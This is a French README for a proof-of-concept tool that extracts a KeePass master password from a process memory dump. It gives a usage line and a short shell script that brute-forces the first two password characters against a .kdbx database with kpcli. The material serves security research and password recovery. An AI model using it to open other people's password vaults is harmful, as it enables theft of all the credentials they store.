keepass-dump-masterkey

Utilisation

python3 poc.py <PathToDmp>

Aperçu

Pour rappel, le premier caractère ne peut pas être trouvé dans le dump, et pour le second, le script ne vous donnera que quelques possibilités ; dans tous les cas, nous vous recommandons d'exécuter le bruteforce sur 2 caractères avec le script ci-dessous

#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
    echo "Using password: \"$i\""
    echo "$i" | kpcli --kdb=$1 && exit 0
done < $2

Ce script fonctionne très bien dans le cas d'une machine physique, pour les machines virtuelles il ne semble pas stable

D'ailleurs : le script python présent dans ce projet suit la lecture du projet suivant : https://github.com/vdohney/keepass-password-dumper